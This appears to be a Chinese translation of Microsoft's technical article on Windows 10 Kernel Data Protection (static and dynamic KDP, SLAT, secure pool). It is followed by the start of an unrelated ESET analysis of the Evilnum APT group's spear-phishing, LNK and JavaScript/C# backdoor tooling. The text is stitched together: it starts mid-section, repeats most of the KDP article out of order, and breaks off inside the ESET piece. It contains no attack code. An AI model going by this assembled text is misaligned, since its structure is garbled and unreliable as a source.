然后,调用方可以在POOL_EXTENDED_PARAMS_SECURE_POOL数据结构中指定分配的大小,以及从中复制内存的初始缓冲区。返回的内存区域不能由在VTL0中运行的任何实体修改。另外,在分配时,调用方提供标记和Cookie值,它们被编码并嵌入到分配中。使用者可以随时验证地址是否在为动态KDP分配保留的内存范围内,预期的Cookie和标记实际上已经编码为指定的分配。这样一来,调用者就可以检查其指向安全池分配的指针是否还没有使用其他分配进行切换。

与静态KDP类似,动态KDP在默认情况下无法释放或修改内存区域。调用方可以在分配时使用SECURE_POOL_FLAGS_FREEABLE和SECURE_POOL_FLAG_MODIFIABLE标志去指定分配是否可释放或可修改。使用这些标志,会降低分配的安全性,但可以允许动态KDP内存用于无法泄露所有分配的场景中,例如按照主机上的每个进程而进行的分配。

0x02 Windows 10上的KDP实现

如前所述,静态KDP和动态KDP都依赖于虚拟机管理程序(hypervisor)中SLAT保护的物理内存。当处理器支持SLAT时,它将使用另一层进行内存地址转换。AMD是通过“嵌入页表”(nested page table)来实现SLAT,而Intel则使用“扩展页表”(extended page table)这一术语。

2.1 二级地址转换(SLAT)

当虚拟机管理程序(Hypervisor)启用SLAT支持,并且虚拟机在VMX非root模式下执行时,处理器会将称为“客体虚拟地址”(GVA,在ARM64中称为第一阶段虚拟地址)的初始虚拟地址转换成叫做“客体物理地址”(GPA,在ARM64中称为IPA)的中间物理地址。这一转换过程仍然由页表管理,由客体操作系统管理的CR3控制寄存器进行寻址。转换的最终结果将在客体页表中指定访问保护的情况下,将GPA返回给处理器。在这里,只有在内核模式下运行的软件才能与页表进行交互。Rootkit通常在内核模式下运行,并且可以修改中间物理页面的保护。

虚拟机管理程序帮助处理器使用扩展页表(嵌入页表)来转换GPA。在非SLAT系统上,当TLB中不存在虚拟地址时,处理器需要查找层次结构中的所有页表,以重建最终的虚拟地址。如下图所示,虚拟地址分为4个部分(在LA48系统上)。每个部分代表该层次结构的页表中的索引。初始PML4表的物理地址由CR3寄存器指定。这就解释了为什么处理器始终能够转换地址,并获得层次结构中下一个表的下一个物理地址。请务必注意,在层次结构的每个页表条目中,NT内核都通过一组属性来指定页保护。只有在每个页表条目上指定的保护全部都允许的情况下,才能访问最终的物理地址。

X64第一阶段地址转换(虚拟地址到客体物理地址):

1.png

启用SLAT时,需要将客体的CR3寄存器中指定的中间物理地址转换为真实系统物理地址(SPA)。这个机制与上面类似,虚拟机管理程序将表示当前正在执行的虚拟机的活动虚拟机控制块(VMCB)的nCR3字段设置为嵌入页表(扩展页表)的物理地址。(在Intel架构中,该字段称为“EPT指针”)。嵌入页表的构建方式与标准的页表相似,因此处理器需要扫描整个层次结构,以找到正确的物理地址,如下图所示。在图中,“n”表示层次结构中的嵌套页表,由虚拟机管理程序管理,而“g”表示客体页表,由NT内核管理。

下图展示了从GPA到SPA的X64第二阶段物理地址转换。

X64第二阶段物理地址转换(GPA到SPA):

2.png

如图所示,客体虚拟地址到系统物理地址的最终转换需要经过两次转换:GVA到GPA,这是由客体虚拟机的内核配置,以及GPA到SPA,这是由虚拟机管理程序配置。需要注意的是,在最不理想的情况下,由于转换涉及到4个页面层次结构,将会导致20个表查找。这个机制可能会比较慢,并会随着处理器对增强TLB的支持而得到缓解。在TLB条目中,包含了另一个标识当前正在执行的虚拟机的ID(在Intel系统中称为虚拟处理器标识符或VPID,在AMD系统中称为地址空间ID或ASID),因此处理器可以缓存属于两个不同虚拟机的一个虚拟地址的转换结果,不会产生任何冲突。

层次结构中NPT页表的嵌入条目:

3.png

如上图所示,NPT条目指定了多个访问保护属性。这使得虚拟机管理程序可以进一步保护系统物理地址。除了管理程序本身之外,其他任何实体都不能访问NPT。当处理器尝试读取、写入或运行NPT不允许访问的地址时,会引发NPT冲突(Intel体系结构中叫做“EPT冲突”),并导致虚拟机退出。由于NPT冲突导致的虚拟机退出事件不会经常发生。通常,这种情况会在嵌套配置或在HVCI使用MBEC软件时产生。如果由于其他原因导致了NPT冲突,Microsoft虚拟机管理程序会向当前虚拟处理器(VP)发送一个访问冲突异常,该异常会由客体操作系统以不同方式进行管理,如果没有异常处理程序选择处理异常,则通常会进入到Bug检查中。

2.2 静态KDP实现

SLAT保护是KDP的重要基础。在Windows中,动态KDP和静态KDP的实现相类似,都由安全内核管理。安全内核是唯一能够向虚拟机管理程序发出ModifyVtlProtectionMask超级调用(hypercall)的实体,作用是修改较低VTL0中映射的物理页面的SLAT访问保护。

对于静态KDP,NT内核会验证驱动程序并不是会话驱动程序,也没有映射大页面。如果上述验证没有通过,或者是属于可丢弃段(Discardable Section),则无法应用静态KDP。如果调用MmProtectDriverSection API的实体没有请求卸载目标映像,则NT内核将会对安全内核执行第一个调用,该调用将固定与驱动程序关联的普通地址范围(NAR)。“固定”操作可以防止重复使用驱动程序的地址空间,从而使驱动程序不可卸载。然后,NT内核将属于该段的所有页面都放入内存,并将它们设置为私有。然后,页面在子PTE结构中标记为只读(在上图中以“gPTE”表示)。在这一阶段,NT内核最终可以通过SLAT调用安全内核来保护基础物理页面。安全内核的保护分为两个阶段:

1、注册属于该段的所有物理页面,在数据库中添加适当的NTE(普通表地址)并更新属于VTL1的基础安全PFN,从而将它们标记为“由VTL0拥有”。这样将会让安全内核可以跟踪仍然属于NT内核的物理页面。

2、对VTL0 SLAT表应用只读保护。虚拟机管理程序针对每个VTL使用一个SLAT表和VMCB。

现在,目标映像的区域已经受到保护。VTL0中的任何实体都无法写入属于该段的任何页面。在这种情况下,安全内核保护了NT内核最初在VTL0中分配的一些内存页面。

2.3 动态KDP实现

动态KDP使用新Segment Heap提供的服务,从安全池分配内存,这个池几乎完全由安全内核管理。

在启动过程的早期,NT内存管理器会计算用于安全池的512GB区域随机虚拟基址,该地址恰好包含了256个内核PML4条目之一。在第一阶段的后面,NT内存管理器会发出一个安全调用,内部称为INITIALIZE_SECURE_POOL,其中包含计算出的内存区域,并运行安全内核初始化安全池。

安全内核会创建一个NAR,表示属于不安全NT内核的整个512GB虚拟区域,并初始化属于NAR的所有相对NTE。安全内核中的安全池虚拟地址空间为256GB,这意味着映射它的PML4会与其他一些内容共享,并且与NT相比不在同一个基址上。因此,在初始化安全池描述符时,安全内核还会计算一个Delta值,该Delta值是安全内核中安全池基址与NT内核中保留池基址之间的差(如下图所示)。这非常关键,因为它允许安全内核向NT内核指定将属于安全池的物理页面映射到的位置。

安全池VTL1与VTL0的DELTA值:

4.png

当在VTL0内核中运行的软件请求从安全池中分配一些内存时,将对安全内核进行安全调用,该调用将调用内部RtlpHpAllocateHeap堆函数,该函数在两个VTL中都公开。如果Segment Heap计算出安全池中没有剩余的可用内存段,则将调用SkmmAllocatePoolMemory例程,该例程为池分配新的内存页。如果没有需要,堆会避免提交新的内存页面。

与NT内核公开的NtAllocateVirtualMemory API一样,SkmmAllocatePoolMemory API支持两种操作——保留和提交。保留操作允许安全内核的内存管理器保留池分配所需的一些PTE。提交操作实际上分配了空闲的物理页面。

物理页是从属于安全内核(其安全PFN处于安全状态)的一组空闲页面中分配的,并映射到VTL 1的页表中,这种情况就表明此前所有VTL 1分页表层次结构都已经分配。与静态KDP一样,安全内核会将ModifyVtlProtectionMask超级调用(hypercall)发送到虚拟机管理程序,目的是在VTL0 SLAT表中将物理页面映射为只读。在页面变为VTL0可访问之后,安全内核将复制调用方指定的数据,并回调NT。

NT内核使用内存管理器提供的服务来映射VTL0中的客体物理页。需要注意的是,VTL0和VTL1的整个root分区物理地址空间都通过身份映射进行映射,这意味着在VTL0中有效的客体物理页号在VTL1中也同样有效。安全内核要求NT内存管理器准确知道该页面应该映射到哪个虚拟地址,从而映射属于安全池的页面。而这一计算,就需要用到在先前第一阶段中计算出的Delta值。

分配在VTL0中返回给调用方。与静态KDP一样,底层页面也不能从VTL0中的任何实体写入。

一些细心的读者可能会注意到,上面描述的KDP仅涉及为支持特定受保护内存的客体物理地址建立SLAT保护。KDP不会强制转换映射受保护区域的虚拟地址范围。现在,安全内核仅定期验证受保护的内存区域转换为适当的、受SLAT保护的GPA。KDP的设计允许未来的扩展性,可以对受保护内存区域的地址转换层次结构进行更直接地控制。

0x03 KDP在收件箱组件上的应用

为了演示KDP如何提供有价值的两个收件箱组件,我们重点介绍如何在CI.dll、Windows代码完整性以及Windows Defender System Guard运行时证明引擎中实现KDP。

首先,我们来介绍CI.dll。这里使用KDP的目的是在内部策略状态初始化后(即从注册表中读取,或在引导时生成)保护内部策略状态。这些数据结构一旦被篡改则影响非常大,经过正确签名但容易受到攻击的驱动程序有可能会攻击策略数据结构,然后在系统上安装未经签名的驱动程序。使用KDP,就可以确保策略数据结构不被篡改,从而缓解这种攻击。

对于Windows Defender System Guard,为了提供运行时认证,仅允许认证代理连接到认证驱动程序一次。这是因为状态存储在VTL1内存中。驱动程序将连接状态存储在其内存中,并且需要对其进行保护,以防止尝试使用可能被篡改的代理重置连接。KDP可以锁定这些变量,并确保只能在代理和驱动程序之间建立单个连接。

代码完整性和Windows Defender System Guard是安全核心PC的两个关键功能。KDP增强了对这些重要安全系统的保护,并提高了攻击者破坏安全核心PC的技术门槛。

这些仅仅是几个示例,来说明以只读方式保护内核和驱动程序内存对于系统的安全性和完整性的促进。随着KDP被更加广泛地采用,我们希望能够不断扩大保护的范围,更广泛地防御数据损坏攻击。

0x04 使用KDP

除了运行基于虚拟化的安全性这一要求之外,动态KDP和静态KDP都没有其他要求。理想情况下,我们可以在任何支持下述功能的计算机上启动VBS:

1、Intel、AMD或ARM虚拟化扩展;

2、二级地址转换:AMD中称为NPT,Intel中称为EPT、ARM中称为二级地址转换;

3、硬件MBEC,可以降低与HVCI相关的性能成本(可选)。

有关VBS要求的更多信息,请参考这里(https://docs.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs)。在安全核心PC上,支持虚拟化的安全性,并且默认启用了硬件支持的安全性功能。大家可以从各种合作伙伴供应商那里购买到具有核心安全功能的个人计算机,目前已经使用KDP进行了加固。

0x00 前言

对于攻击者来说,随着像代码完整性(CI)、控制流防护(CFG)这样防止内存损坏的安全技术不断出现,他们开始将目光转向数据损坏这一方面。攻击者利用数据破坏技术,可以修改系统安全策略、提升特权、篡改安全证明、修改“一次初始化”数据结构等。

内核数据保护(Kernel Data Protection,KDP)是一项新技术,可以通过基于虚拟化的安全性(VBS)保护部分Windows内核和驱动程序。KDP是一组API,可以将某些内核内存标记为只读,从而防止攻击者修改受保护的内存。例如,我们已经发现有攻击者使用经过签名但易受攻击的驱动程序来攻击策略数据结构,并安装未经签名的恶意驱动程序。KDP可以通过保证策略数据结构不会被篡改的方式来缓解此类攻击。

这种保护内核内存为只读状态的概念,在Windows内核、收件箱组件、安全产品甚至第三方驱动程序(例如:反作弊和数字版权管理DRM软件)之中都有重要的应用。除了该技术在安全性的重要性以及应用程序防篡改保护之外,其他优点还在于:

1、性能改进:KDP减轻了证明组件(attestation component)的负担,不再需要定期验证已经设置写保护的数据变量;

2、可靠性改进:借助KDP,可以更轻松地诊断出内核损坏问题,而这些问题不一定属于安全性漏洞。

3、可以促进驱动程序开发人员和厂商改善虚拟化安全方案的兼容性,并在生态系统中提高这些技术的采用率。

KDP使用安全核心计算机上默认支持的技术,这些技术实现了一组特定的设备要求,而这些要求将隔离最佳实践、对Windows操作系统的信任最小化等安全性应用到这些技术之中。KDP可以为敏感的系统配置数据增加另一层保护,从而增强由安全核心PC(Secured-core PC)功能提供的安全性。

在这篇文章中,我们将分享有关内核数据保护的工作原理,以及如何在Windows 10上实现的技术细节,希望能促进驱动程序开发人员和厂商充分利用这项旨在防范数据损坏攻击的安全技术。

0x01 内核数据保护:概述

在VBS环境中,常规NT内核在称为VTL0的虚拟化环境中运行,而安全内核在称为VTL1的环境中运行,后者是一个更加安全的隔离环境。有关VBS和安全内核的更多详细信息,请参考这里(https://channel9.msdn.com/Blogs/Seth-Juarez/Isolated-User-Mode-in-Windows-10-with-Dave-Probert)和这里(https://channel9.msdn.com/Blogs/Seth-Juarez/Windows-10-Virtual-Secure-Mode-with-David-Hepkin)。KDP的目标是保护Windows内核中运行的驱动程序和软件(即操作系统代码本身)不会受到数据方面的攻击。KDP分为两个部分来实现:

1、静态KDP能使内核模式下运行的软件能够静态保护其自身映像的一部分,以避免被VTL0中的任何其他实体篡改。

2、动态KDP帮助内核模式软件从“安全池”分配和释放只读内存。从池中返回的内存只能初始化一次。

由KDP管理的内存始终由安全内核(VTL1)验证,并由虚拟机管理程序(hypervisor)使用二级地址转换(SLAT)表进行保护。最终,在NT内核(VTL0)中运行的任何软件都将无法修改受保护内存的内容。

在最新版本的Windows 10 Insider Build中已经提供了动态KDP和静态KDP,并且可以使用任何类型的内存(可执行页面除外)。虚拟机管理程序保护的代码完整性(HVCI)已经为可执行页面提供了保护,该功能可以防止任何未经签名的内存被设置为可执行状态,授予W^X(可写或者可执行,不能二者同时)的条件。

本文没有对HVCI和W^X条件进行介绍,有关更多详细信息,请参阅即将出版的Windows Internals图书。

1.1 静态KDP

如果驱动程序需要通过静态KDP保护其映像,则应该调用MmProtectDriverSection API,该API具有以下原型:

NTSTATUS MmProtectDriverSection (PVOID AddressWithinSection, SIZE_T Size, ULONG Flags)

驱动程序指定一个位于数据段内部的地址、受保护区域的大小(可选)和一些标志。在撰写本文时,“size”参数暂时保留以供将来使用。地址所驻留的整个数据部分将始终受到API保护。

如果函数成功执行,则支持静态部分的内存对于VTL0变为只读,并且由SLAT保护。在这里,不允许卸载带有受保护部分的驱动程序,如果尝试卸载,将会产生蓝屏错误。但是,我们知道有时应该可以卸载驱动程序。因此,我们引入了MM_PROTECT_DRIVER_SECTION_ALLOW_UNLOAD标志。如果调用方指定了它,则系统可以卸载目标驱动程序,这意味着在这种情况下,受保护的部分将首先转为不受保护的状态,然后再由NtUnloadDriver释放。

1.2 动态KDP

动态KDP允许驱动程序使用安全池提供的服务来分配和初始化只读内存,该池由安全内核管理。使用者首先创建与标签关联的安全池上下文,之后所有的内存分配都将与创建的安全池上下文相关联。在创建上下文后,可以通过ExAllocatePool3 API的新扩展参数执行只读分配:

PVOID ExAllocatePool3 (POOL_FLAGS Flags, SIZE_T NumberOfBytes, ULONG Tag, PCPOOL_EXTENDED_PARAMETER ExtendedParameters, ULONG Count);

然后,调用方可以在POOL_EXTENDED_PARAMS_SECURE_POOL数据结构中指定分配的大小,以及从中复制内存的初始缓冲区。返回的内存区域不能由在VTL0中运行的任何实体修改。另外,在分配时,调用方提供标记和Cookie值,它们被编码并嵌入到分配中。使用者可以随时验证地址是否在为动态KDP分配保留的内存范围内,预期的Cookie和标记实际上已经编码为指定的分配。这样一来,调用者就可以检查其指向安全池分配的指针是否还没有使用其他分配进行切换。

与静态KDP类似,动态KDP在默认情况下无法释放或修改内存区域。调用方可以在分配时使用SECURE_POOL_FLAGS_FREEABLE和SECURE_POOL_FLAG_MODIFIABLE标志去指定分配是否可释放或可修改。使用这些标志,会降低分配的安全性,但可以允许动态KDP内存用于无法泄露所有分配的场景中,例如按照主机上的每个进程而进行的分配。

0x02 Windows 10上的KDP实现

如前所述,静态KDP和动态KDP都依赖于虚拟机管理程序(hypervisor)中SLAT保护的物理内存。当处理器支持SLAT时,它将使用另一层进行内存地址转换。AMD是通过“嵌入页表”(nested page table)来实现SLAT,而Intel则使用“扩展页表”(extended page table)这一术语。

2.1 二级地址转换(SLAT)

当虚拟机管理程序(Hypervisor)启用SLAT支持,并且虚拟机在VMX非root模式下执行时,处理器会将称为“客体虚拟地址”(GVA,在ARM64中称为第一阶段虚拟地址)的初始虚拟地址转换成叫做“客体物理地址”(GPA,在ARM64中称为IPA)的中间物理地址。这一转换过程仍然由页表管理,由客体操作系统管理的CR3控制寄存器进行寻址。转换的最终结果将在客体页表中指定访问保护的情况下,将GPA返回给处理器。在这里,只有在内核模式下运行的软件才能与页表进行交互。Rootkit通常在内核模式下运行,并且可以修改中间物理页面的保护。

虚拟机管理程序帮助处理器使用扩展页表(嵌入页表)来转换GPA。在非SLAT系统上,当TLB中不存在虚拟地址时,处理器需要查找层次结构中的所有页表,以重建最终的虚拟地址。如下图所示,虚拟地址分为4个部分(在LA48系统上)。每个部分代表该层次结构的页表中的索引。初始PML4表的物理地址由CR3寄存器指定。这就解释了为什么处理器始终能够转换地址,并获得层次结构中下一个表的下一个物理地址。请务必注意,在层次结构的每个页表条目中,NT内核都通过一组属性来指定页保护。只有在每个页表条目上指定的保护全部都允许的情况下,才能访问最终的物理地址。

X64第一阶段地址转换(虚拟地址到客体物理地址):

1.png

启用SLAT时,需要将客体的CR3寄存器中指定的中间物理地址转换为真实系统物理地址(SPA)。这个机制与上面类似,虚拟机管理程序将表示当前正在执行的虚拟机的活动虚拟机控制块(VMCB)的nCR3字段设置为嵌入页表(扩展页表)的物理地址。(在Intel架构中,该字段称为“EPT指针”)。嵌入页表的构建方式与标准的页表相似,因此处理器需要扫描整个层次结构,以找到正确的物理地址,如下图所示。在图中,“n”表示层次结构中的嵌套页表,由虚拟机管理程序管理,而“g”表示客体页表,由NT内核管理。

下图展示了从GPA到SPA的X64第二阶段物理地址转换。

X64第二阶段物理地址转换(GPA到SPA):

2.png

如图所示,客体虚拟地址到系统物理地址的最终转换需要经过两次转换:GVA到GPA,这是由客体虚拟机的内核配置,以及GPA到SPA,这是由虚拟机管理程序配置。需要注意的是,在最不理想的情况下,由于转换涉及到4个页面层次结构,将会导致20个表查找。这个机制可能会比较慢,并会随着处理器对增强TLB的支持而得到缓解。在TLB条目中,包含了另一个标识当前正在执行的虚拟机的ID(在Intel系统中称为虚拟处理器标识符或VPID,在AMD系统中称为地址空间ID或ASID),因此处理器可以缓存属于两个不同虚拟机的一个虚拟地址的转换结果,不会产生任何冲突。

层次结构中NPT页表的嵌入条目:

3.png

如上图所示,NPT条目指定了多个访问保护属性。这使得虚拟机管理程序可以进一步保护系统物理地址。除了管理程序本身之外,其他任何实体都不能访问NPT。当处理器尝试读取、写入或运行NPT不允许访问的地址时,会引发NPT冲突(Intel体系结构中叫做“EPT冲突”),并导致虚拟机退出。由于NPT冲突导致的虚拟机退出事件不会经常发生。通常,这种情况会在嵌套配置或在HVCI使用MBEC软件时产生。如果由于其他原因导致了NPT冲突,Microsoft虚拟机管理程序会向当前虚拟处理器(VP)发送一个访问冲突异常,该异常会由客体操作系统以不同方式进行管理,如果没有异常处理程序选择处理异常,则通常会进入到Bug检查中。

2.2 静态KDP实现

SLAT保护是KDP的重要基础。在Windows中,动态KDP和静态KDP的实现相类似,都由安全内核管理。安全内核是唯一能够向虚拟机管理程序发出ModifyVtlProtectionMask超级调用(hypercall)的实体,作用是修改较低VTL0中映射的物理页面的SLAT访问保护。

对于静态KDP,NT内核会验证驱动程序并不是会话驱动程序,也没有映射大页面。如果上述验证没有通过,或者是属于可丢弃段(Discardable Section),则无法应用静态KDP。如果调用MmProtectDriverSection API的实体没有请求卸载目标映像,则NT内核将会对安全内核执行第一个调用,该调用将固定与驱动程序关联的普通地址范围(NAR)。“固定”操作可以防止重复使用驱动程序的地址空间,从而使驱动程序不可卸载。然后,NT内核将属于该段的所有页面都放入内存,并将它们设置为私有。然后,页面在子PTE结构中标记为只读(在上图中以“gPTE”表示)。在这一阶段,NT内核最终可以通过SLAT调用安全内核来保护基础物理页面。安全内核的保护分为两个阶段:

1、注册属于该段的所有物理页面,在数据库中添加适当的NTE(普通表地址)并更新属于VTL1的基础安全PFN,从而将它们标记为“由VTL0拥有”。这样将会让安全内核可以跟踪仍然属于NT内核的物理页面。

2、对VTL0 SLAT表应用只读保护。虚拟机管理程序针对每个VTL使用一个SLAT表和VMCB。

现在,目标映像的区域已经受到保护。VTL0中的任何实体都无法写入属于该段的任何页面。在这种情况下,安全内核保护了NT内核最初在VTL0中分配的一些内存页面。

2.3 动态KDP实现

动态KDP使用新Segment Heap提供的服务,从安全池分配内存,这个池几乎完全由安全内核管理。

在启动过程的早期,NT内存管理器会计算用于安全池的512GB区域随机虚拟基址,该地址恰好包含了256个内核PML4条目之一。在第一阶段的后面,NT内存管理器会发出一个安全调用,内部称为INITIALIZE_SECURE_POOL,其中包含计算出的内存区域,并运行安全内核初始化安全池。

安全内核会创建一个NAR,表示属于不安全NT内核的整个512GB虚拟区域,并初始化属于NAR的所有相对NTE。安全内核中的安全池虚拟地址空间为256GB,这意味着映射它的PML4会与其他一些内容共享,并且与NT相比不在同一个基址上。因此,在初始化安全池描述符时,安全内核还会计算一个Delta值,该Delta值是安全内核中安全池基址与NT内核中保留池基址之间的差(如下图所示)。这非常关键,因为它允许安全内核向NT内核指定将属于安全池的物理页面映射到的位置。

安全池VTL1与VTL0的DELTA值:

4.png

当在VTL0内核中运行的软件请求从安全池中分配一些内存时,将对安全内核进行安全调用,该调用将调用内部RtlpHpAllocateHeap堆函数,该函数在两个VTL中都公开。如果Segment Heap计算出安全池中没有剩余的可用内存段,则将调用SkmmAllocatePoolMemory例程,该例程为池分配新的内存页。如果没有需要,堆会避免提交新的内存页面。

与NT内核公开的NtAllocateVirtualMemory API一样,SkmmAllocatePoolMemory API支持两种操作——保留和提交。保留操作允许安全内核的内存管理器保留池分配所需的一些PTE。提交操作实际上分配了空闲的物理页面。

物理页是从属于安全内核(其安全PFN处于安全状态)的一组空闲页面中分配的,并映射到VTL 1的页表中,这种情况就表明此前所有VTL 1分页表层次结构都已经分配。与静态KDP一样,安全内核会将ModifyVtlProtectionMask超级调用(hypercall)发送到虚拟机管理程序,目的是在VTL0 SLAT表中将物理页面映射为只读。在页面变为VTL0可访问之后,安全内核将复制调用方指定的数据,并回调NT。

NT内核使用内存管理器提供的服务来映射VTL0中的客体物理页。需要注意的是,VTL0和VTL1的整个root分区物理地址空间都通过身份映射进行映射,这意味着在VTL0中有效的客体物理页号在VTL1中也同样有效。安全内核要求NT内存管理器准确知道该页面应该映射到哪个虚拟地址,从而映射属于安全池的页面。而这一计算,就需要用到在先前第一阶段中计算出的Delta值。

分配在VTL0中返回给调用方。与静态KDP一样,底层页面也不能从VTL0中的任何实体写入。

一些细心的读者可能会注意到,上面描述的KDP仅涉及为支持特定受保护内存的客体物理地址建立SLAT保护。KDP不会强制转换映射受保护区域的虚拟地址范围。现在,安全内核仅定期验证受保护的内存区域转换为适当的、受SLAT保护的GPA。KDP的设计允许未来的扩展性,可以对受保护内存区域的地址转换层次结构进行更直接地控制。

0x03 KDP在收件箱组件上的应用

为了演示KDP如何提供有价值的两个收件箱组件,我们重点介绍如何在CI.dll、Windows代码完整性以及Windows Defender System Guard运行时证明引擎中实现KDP。

首先,我们来介绍CI.dll。这里使用KDP的目的是在内部策略状态初始化后(即从注册表中读取,或在引导时生成)保护内部策略状态。这些数据结构一旦被篡改则影响非常大,经过正确签名但容易受到攻击的驱动程序有可能会攻击策略数据结构,然后在系统上安装未经签名的驱动程序。使用KDP,就可以确保策略数据结构不被篡改,从而缓解这种攻击。

对于Windows Defender System Guard,为了提供运行时认证,仅允许认证代理连接到认证驱动程序一次。这是因为状态存储在VTL1内存中。驱动程序将连接状态存储在其内存中,并且需要对其进行保护,以防止尝试使用可能被篡改的代理重置连接。KDP可以锁定这些变量,并确保只能在代理和驱动程序之间建立单个连接。

代码完整性和Windows Defender System Guard是安全核心PC的两个关键功能。KDP增强了对这些重要安全系统的保护,并提高了攻击者破坏安全核心PC的技术门槛。

这些仅仅是几个示例,来说明以只读方式保护内核和驱动程序内存对于系统的安全性和完整性的促进。随着KDP被更加广泛地采用,我们希望能够不断扩大保护的范围,更广泛地防御数据损坏攻击。

0x04 使用KDP

除了运行基于虚拟化的安全性这一要求之外,动态KDP和静态KDP都没有其他要求。理想情况下,我们可以在任何支持下述功能的计算机上启动VBS:

1、Intel、AMD或ARM虚拟化扩展;

2、二级地址转换:AMD中称为NPT,Intel中称为EPT、ARM中称为二级地址转换;

3、硬件MBEC,可以降低与HVCI相关的性能成本(可选)。

有关VBS要求的更多信息,请参考这里(https://docs.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs)。在安全核心PC上,支持虚拟化的安全性,并且默认启用了硬件支持的安全性功能。大家可以从各种合作伙伴供应商那里购买到具有核心安全功能的个人计算机,目前已经使用KDP进行了加固。

ESET团队详细分析了Evilnum恶意组织的运作方式及其部署的工具集,该工具集会针对金融科技行业中精心选择的目标发动攻击。

0x00 概述

ESET详细分析了Evilnum恶意组织的运作方式,Evilnum是Evilnum恶意软件背后的APT恶意组织,此前曾经针对金融科技类公司发动攻击。自2018年以来,该恶意组织就已经进入到人们的事业中,并且曾有研究人员对其分析,但是,此前却从没有研究过其背后的恶意组织以及运行模式。

在本文中,我们将不同点结合起来,详细分析Evilnum的恶意活动。该恶意组织所针对的目标仍然是金融科技公司,但其使用的工具集和基础架构已经不断发展,目前使用的是自定义的恶意软件和从Golden Chickens购买的工具。Golden Chickens是恶意软件即服务(MaaS)厂商,其知名客户包括FIN6恶意组织和Cobalt恶意组织。

0x01 目标

根据ESET的遥测技术,该恶意组织所针对的目标都是金融科技公司,例如一些提供在线交易平台和工具的公司。尽管大多数目标都位于欧盟国家和英国,但我们也同时看到了该恶意组织针对澳大利亚和加拿大等国家的攻击。通常,目标公司在多个地区都设有办事处,这就解释了为什么攻击地域会出现多样性的原因。

Evilnum恶意组织的主要目的是监视其目标,从目标公司或客户那里获取财务信息。该恶意组织窃取的信息包括:

1、包含客户清单、投资和交易信息的电子表格和文档;

2、内部演示;

3、交易软件或平台的软件许可证和凭据;

4、来自浏览器的Cookie和会话信息;

5、电子邮件凭据;

6、客户信用卡、地址、身份证明文件。

根据我们在调查中的发现,该恶意组织还获取了与IT相关的信息的访问权限,例如VPN配置。

0x02 攻击概述

恶意组织通过鱼叉式电子邮件的方式接近其目标,在电子邮件中包含指向Google网盘的链接,实际上是一个ZIP压缩文件。在压缩文件中,包含几个快捷方式(LNK)文件,这些文件在显示诱饵文档的同时提取并执行恶意的JavaScript组件。在Windows中,默认情况下会隐藏已知类型的文件扩展名。因此,这些快捷方式文件具有双重扩展名,以试图诱导用户认为它们是合法文档或图片并打开。其中一个压缩文件的内容如下图所示。

恶意LNK文件:

1.png

在打开任一快捷方式文件后,将在文件内容中查找带有特定标记的行,并将其写入.js文件。然后,执行该恶意JavaScript文件,写入并打开一个诱饵文件,该诱饵文件的名称与快捷方式相同,但扩展名是正确的。此后,将删除快捷方式文件。用作诱饵的文件主要是信用卡、身份证或地址证明票据的照片,因为根据规定,许多金融机构在新客户注册时会要求客户提供这些文件。下图展示了一个这样的诱饵,为保护个人信息,已经对关键内容进行模糊处理。

用作诱饵的证件照片:

2.jpg

这些诱饵文件似乎是真实的,我们推测它们可能是在恶意组织的多年运营过程中不断收集的。当前该组织在运营过程中积极收集这类文档,因为他们主要是针对技术支持代表和客户经理发起攻击,而这两个角色会定期从客户处收到这类文件。除非目标来自不同的地区,否则该组织会针对不同的目标重复使用这些文档。

在攻击的第一阶段,攻击者使用了JavaScript组件,他们可以部署其他恶意软件,例如C#间谍组件、Golden Chickens组件或几种基于Python的工具。在以前,其他研究人员将Evilnum命名为C#组件,但同时也将JS组件称为Evilnum。而我们根据核心恶意软件的名称来命名该恶意组织,并将各类恶意软件都称为组件。概述如图3所示。

Evilnum组件:

3.jpg

每个组件都有其自身的C&C服务器,并且每个组件独立运行。恶意软件的运营人员手动发送命令安装其他组件,并在必要时使用攻陷后的脚本和工具。

恶意软件使用的大多数服务器都是通过IP地址引用的,他们还尚未使用域名。唯一的例外是Golden Chickens组件使用的C&C服务器。如后文所述,这是从MaaS提供厂商处购买的恶意软件。

根据托管服务提供商,可以将这些用到的IP地址分为两组。其中的大多数都是由乌克兰的服务提供商FreeHost托管,其余的由荷兰的服务提供商Dotsi托管。

0x03 JS组件:初始阶段

该组件与C&C服务器进行通信,在无需任何其他程序的情况下即可作为后门使用。但是,在我们看到的大多数攻击中,攻击者会根据需要部署其他组件,并且仅在第一阶段使用JS恶意软件。

我们看到有文章在2018年5月首次提及这个JavaScript恶意软件。自那时开始,恶意软件发生了变化,我们在下图中说明了这些变化。

JS组件更改的时间表:

4.jpg

其中,1.3版本和其他版本之间的差异值得我们关注,因为C&C服务器端代码已经更改,并且命令也有所不同。在早期版本中,无法将文件上传至C&C,只能将文件下载到受害者的计算机上。随着新版本的陆续发布,该恶意软件使用了一些Python脚本(详见“攻击后工具集”一章)和外部工具(例如ChromeCookiesView)进行扩展。

尽管版本之间有所不同,但所有版本的核心功能都保持不变,其中包含一个专门创建的GitHub、GitLab或Reddit页面,用于检索C&C服务器的地址。下图展示了其中一个Reddit页面示例,该页面会被恶意软件解析,并检索C&C地址。

JS组件打开的Reddit页面,其中包含C&C服务器地址:

5.png

该组件可以通过注册表“Run”项实现持久性,并且具有完整的后门功能。它可以下载和执行二进制文件、运行任意命令,或将文件从受害计算机上传到C&C服务器上。由于Prevailion最近已经对最新版本恶意软件进行了很好地分析,因此我们在这里就不再对该组件的技术细节做过于详细的介绍。

0x04 C#组件:一个没有展现太多恶意意图的组件

2019年3月,Palo Alto Networks分析过一个使用C#编码的恶意软件,其功能与JS组件非常相似。该版本(2.5)通过将数字除以666的方式来计算出C&C地址,也正因此,该恶意软件被Palo Alto Networks的研究人员命名为Evilnum。在此之后,有新版本的C#恶意软件陆续出现,目前最新的是4.0版本,我们在2020年4月首次发现。在这一版本中,已经不再使用数字666,根据可执行文件的PDB路径,我们发现开发人员将该恶意软件命名为“Marvel”。但是,为了避免造成混乱,我们继续将该恶意软件称为Evilnum。

最新版本捆绑在MSI文件(Windows Installer)中,并独立于JS组件运行。此外,它具有与JS组件不同的C&C。但是,在我们观察到的案例中,在JavaScript恶意软件获得初始访问权限后,都会下载并执行C#组件。该组件的结构如下图所示。

C#组件片段:

6.jpg

